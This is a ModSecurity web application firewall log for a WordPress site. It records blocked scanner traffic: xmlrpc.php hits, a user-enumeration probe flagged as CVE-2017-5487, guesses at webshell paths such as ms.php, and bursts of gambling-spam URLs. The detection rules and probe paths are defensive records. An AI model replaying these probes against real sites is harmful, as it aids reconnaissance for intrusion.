[Sat Mar 28 15:36:12.428940 2026] [:error] [pid 34631:tid 34672] [client 221.229.106.25:53852] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aceE7DtzjMMS6kojpeTPYwAAAcw"]
[Sat Mar 28 15:58:55.876580 2026] [:error] [pid 64859:tid 64883] [client 150.242.149.85:53011] [client 150.242.149.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.242.149.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aceKP23qEBHXq3rHdBkTiwAAAAI"]
[Sat Mar 28 17:42:14.330863 2026] [:error] [pid 34597:tid 34604] [client 150.242.149.85:55676] [client 150.242.149.85] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aceidoluI7-e5s1cafeFegAAAUM"]
[Sat Mar 28 17:43:35.488216 2026] [:error] [pid 64859:tid 64882] [client 150.242.149.85:56369] [client 150.242.149.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.242.149.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aceix23qEBHXq3rHdBkutAAAAAE"]
[Sat Mar 28 17:44:45.566686 2026] [:error] [pid 34631:tid 34676] [client 150.242.149.85:56928] [client 150.242.149.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.242.149.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acejDTtzjMMS6kojpeQOrgAAAdA"]
[Sat Mar 28 17:45:55.377110 2026] [:error] [pid 34631:tid 34683] [client 150.242.149.85:57239] [client 150.242.149.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.242.149.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acejUztzjMMS6kojpeQPaAAAAdc"]
[Sat Mar 28 17:47:01.071399 2026] [:error] [pid 43547:tid 43554] [client 150.242.149.85:57743] [client 150.242.149.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.242.149.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acejlT4ZEfdetXP-9aDtMAAAAgU"]
[Sat Mar 28 17:48:11.035684 2026] [:error] [pid 64859:tid 64898] [client 150.242.149.85:58744] [client 150.242.149.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.242.149.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acej223qEBHXq3rHdBkvpgAAABE"]
[Sat Mar 28 19:14:52.154392 2026] [:error] [pid 34631:tid 34667] [client 43.159.144.16:36164] [client 43.159.144.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ace4LDtzjMMS6kojpeQumwAAAcc"]
[Sat Mar 28 20:01:59.701072 2026] [:error] [pid 64861:tid 64936] [client 213.230.82.25:23991] [client 213.230.82.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.230.82.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acfDN-xK22_lUN2kvnVX1wAAAIE"]
[Sat Mar 28 20:02:12.842625 2026] [:error] [pid 43547:tid 43565] [client 103.115.20.52:51644] [client 103.115.20.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.115.20.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acfDRD4ZEfdetXP-9aD5-AAAAhA"]
[Sat Mar 28 20:14:22.846367 2026] [:error] [pid 2877:tid 2903] [client 43.153.58.28:35902] [client 43.153.58.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acfGHrgM4xL1Xj409YQPbAAAARg"]
[Sat Mar 28 23:10:21.446547 2026] [:error] [pid 2877:tid 2887] [client 180.110.203.108:33655] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acfvXbgM4xL1Xj409YQbMAAAAQg"]
[Sat Mar 28 23:36:41.498124 2026] [:error] [pid 64861:tid 64959] [client 45.94.31.49:58045] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acf1iexK22_lUN2kvnWz1QAAAJg"]
[Sat Mar 28 23:36:42.189024 2026] [:error] [pid 64859:tid 64888] [client 45.94.31.49:54015] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acf1im3qEBHXq3rHdBl42gAAAAc"]
[Sat Mar 28 23:36:43.032118 2026] [:error] [pid 34597:tid 34613] [client 45.94.31.49:53971] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acf1i4luI7-e5s1cafe1FwAAAUw"]
[Sat Mar 28 23:36:43.818122 2026] [:error] [pid 34631:tid 34679] [client 45.94.31.49:55837] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acf1iztzjMMS6kojpeSEZgAAAdM"]
[Sat Mar 28 23:36:44.590531 2026] [:error] [pid 43578:tid 43582] [client 45.94.31.49:55018] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acf1jHNG2YdGm41aN8I4DQAAAkE"]
[Sun Mar 29 00:01:50.013252 2026] [:error] [pid 34631:tid 34662] [client 49.51.47.100:49660] [client 49.51.47.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acf7bjtzjMMS6kojpeSPKQAAAcI"]
[Sun Mar 29 01:12:56.163277 2026] [:error] [pid 39429:tid 39488] [client 170.106.15.3:52882] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acgMGE8pSj6sqgZaItnOgQAAAII"]
[Sun Mar 29 01:49:52.161650 2026] [:error] [pid 39427:tid 39441] [client 81.167.26.57:47928] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acgUwFvLf0RDUqcYq-ZHTgAAAAk"]
[Sun Mar 29 01:49:54.120377 2026] [:error] [pid 60346:tid 60365] [client 81.167.26.57:8173] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acgUwnVrXSgLxlxLi9ApOwAAAQ4"]
[Sun Mar 29 01:49:56.120360 2026] [:error] [pid 39429:tid 39486] [client 81.167.26.57:13161] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acgUxE8pSj6sqgZaItnfAAAAAIA"]
[Sun Mar 29 01:49:57.974735 2026] [:error] [pid 39429:tid 39497] [client 81.167.26.57:11159] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acgUxU8pSj6sqgZaItnfBAAAAIs"]
[Sun Mar 29 01:49:59.955855 2026] [:error] [pid 60346:tid 60351] [client 81.167.26.57:4722] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acgUx3VrXSgLxlxLi9ApSgAAAQA"]
[Sun Mar 29 01:50:01.946730 2026] [:error] [pid 60346:tid 60358] [client 81.167.26.57:62068] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acgUyXVrXSgLxlxLi9ApTwAAAQc"]
[Sun Mar 29 01:50:03.950453 2026] [:error] [pid 60346:tid 60357] [client 81.167.26.57:56995] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acgUy3VrXSgLxlxLi9ApVwAAAQY"]
[Sun Mar 29 01:50:05.948081 2026] [:error] [pid 39514:tid 39547] [client 81.167.26.57:56135] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acgUzSkUyvlQod6qQu2ZkAAAANY"]
[Sun Mar 29 01:50:07.937619 2026] [:error] [pid 39514:tid 39550] [client 81.167.26.57:55753] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acgUzykUyvlQod6qQu2ZkgAAANg"]
[Sun Mar 29 01:50:09.935833 2026] [:error] [pid 60346:tid 60355] [client 81.167.26.57:3798] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acgU0XVrXSgLxlxLi9ApZgAAAQQ"]
[Sun Mar 29 01:50:11.790361 2026] [:error] [pid 60346:tid 60365] [client 81.167.26.57:52857] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acgU03VrXSgLxlxLi9ApcgAAAQ4"]
[Sun Mar 29 01:50:13.771955 2026] [:error] [pid 39428:tid 39470] [client 81.167.26.57:4323] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acgU1aXMrozFMIaP8nL9kgAAAEs"]
[Sun Mar 29 01:50:15.790984 2026] [:error] [pid 39428:tid 39481] [client 81.167.26.57:8794] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acgU16XMrozFMIaP8nL9lgAAAFY"]
[Sun Mar 29 01:50:17.782785 2026] [:error] [pid 60346:tid 60375] [client 81.167.26.57:5220] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acgU2XVrXSgLxlxLi9AphQAAARg"]
[Sun Mar 29 01:50:19.643806 2026] [:error] [pid 39427:tid 39456] [client 81.167.26.57:34567] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acgU21vLf0RDUqcYq-ZHeAAAABg"]
[Sun Mar 29 01:50:21.649429 2026] [:error] [pid 39429:tid 39490] [client 81.167.26.57:40795] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acgU3U8pSj6sqgZaItnfHwAAAIQ"]
[Sun Mar 29 01:50:23.654930 2026] [:error] [pid 60346:tid 60354] [client 81.167.26.57:27898] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acgU33VrXSgLxlxLi9ApkwAAAQM"]
[Sun Mar 29 01:50:25.668346 2026] [:error] [pid 39514:tid 39529] [client 81.167.26.57:63664] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acgU4SkUyvlQod6qQu2ZrAAAAMQ"]
[Sun Mar 29 01:50:27.656148 2026] [:error] [pid 39429:tid 39508] [client 81.167.26.57:19211] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acgU408pSj6sqgZaItnfJAAAAJY"]
[Sun Mar 29 01:50:29.657740 2026] [:error] [pid 60346:tid 60372] [client 81.167.26.57:55551] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acgU5XVrXSgLxlxLi9AppAAAARU"]
[Sun Mar 29 01:50:31.643792 2026] [:error] [pid 60346:tid 60369] [client 81.167.26.57:61939] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acgU53VrXSgLxlxLi9ApqQAAARI"]
[Sun Mar 29 01:50:33.646581 2026] [:error] [pid 39514:tid 39531] [client 81.167.26.57:33979] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acgU6SkUyvlQod6qQu2ZsgAAAMY"]
[Sun Mar 29 01:50:35.629365 2026] [:error] [pid 60346:tid 60356] [client 81.167.26.57:54397] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acgU63VrXSgLxlxLi9ApswAAAQU"]
[Sun Mar 29 01:50:37.639132 2026] [:error] [pid 39427:tid 39442] [client 81.167.26.57:39260] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acgU7VvLf0RDUqcYq-ZHggAAAAo"]
[Sun Mar 29 01:50:39.517633 2026] [:error] [pid 60346:tid 60362] [client 81.167.26.57:23138] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acgU73VrXSgLxlxLi9ApwAAAAQs"]
[Sun Mar 29 01:50:41.557549 2026] [:error] [pid 60346:tid 60359] [client 81.167.26.57:9726] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acgU8XVrXSgLxlxLi9ApzAAAAQg"]
[Sun Mar 29 01:50:43.574925 2026] [:error] [pid 39514:tid 39525] [client 81.167.26.57:27708] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acgU8ykUyvlQod6qQu2ZugAAAME"]
[Sun Mar 29 01:50:45.587844 2026] [:error] [pid 39429:tid 39504] [client 81.167.26.57:47452] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acgU9U8pSj6sqgZaItnfMQAAAJI"]
[Sun Mar 29 01:50:47.483347 2026] [:error] [pid 60346:tid 60352] [client 81.167.26.57:2388] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "acgU93VrXSgLxlxLi9Ap2wAAAQE"]
[Sun Mar 29 02:24:16.155274 2026] [:error] [pid 39429:tid 39498] [client 20.197.233.108:64334] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "acgc0E8pSj6sqgZaItnm8wAAAIw"]
[Sun Mar 29 02:24:16.813048 2026] [:error] [pid 39514:tid 39550] [client 20.197.233.108:63632] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "acgc0CkUyvlQod6qQu2l9gAAANg"]
[Sun Mar 29 02:24:17.441207 2026] [:error] [pid 60346:tid 60373] [client 20.197.233.108:64393] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "acgc0XVrXSgLxlxLi9A-VwAAARY"]
[Sun Mar 29 02:24:18.106680 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:63624] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "acgc0nVrXSgLxlxLi9A-WgAAAQc"]
[Sun Mar 29 02:24:18.905608 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:63635] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "acgc0nVrXSgLxlxLi9A-WwAAAQA"]
